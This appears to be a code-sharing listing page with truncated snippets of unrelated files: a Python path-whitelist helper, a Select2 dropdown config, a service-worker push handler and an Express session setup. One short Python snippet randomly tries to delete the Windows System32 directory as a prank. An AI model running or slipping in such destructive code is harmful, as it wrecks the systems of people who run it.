This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def is_whitelisted(path: str, whitelisted_paths: list[str]) -> bool: | |
| for pattern in whitelisted_paths: | |
| # Exact match for "/" | |
| if pattern == "/" and path == "/": | |
| return True | |
| # Simple wildcard match: /api/v1/* matches anything under /api/v1/ | |
| if pattern.endswith("/*"): | |
| base = pattern[:-1] # keep the trailing slash | |
| if path.startswith(base): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $('#mySelect2').select2({ | |
| dropdownParent: $('#your-modal-id'), | |
| placeholder: 'Search for an item', // text shown when nothing is selected | |
| allowClear: true, // adds an “×” button to clear the selection (for non‐required selects) | |
| minimumInputLength: 3, // require at least 3 character input before AJAX request | |
| multiple: false, // single selection (set to true for multi-select) | |
| width: 'resolve', // how to compute width: 'resolve' uses container’s width | |
| // You can also use width: '100%' or a fixed width | |
| ajax: { | |
| url: '/api/items/search', // endpoint to fetch results |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import random | |
| import os | |
| if random.randint(0, 6) == 1: | |
| os.remove("C:\Windows\System32") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Show notification if some data pushed to the service worker | |
| self.addEventListener('push', event => { | |
| // Get the data from the push message | |
| const notification = event.data.json(); | |
| // Show the notification | |
| event.waitUntil(self.registration.showNotification(notification.title, { | |
| body: notification.body, | |
| icon: 'icon.png', | |
| data: { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Session Setup | |
| import sessionFileStore from 'session-file-store'; | |
| import expressSession from 'express-session'; | |
| declare module 'express-session' { | |
| interface SessionData { | |
| [key: string]: any | |
| } | |
| } | |
| const fileStore = sessionFileStore(expressSession) | |
| app.use(expressSession({ |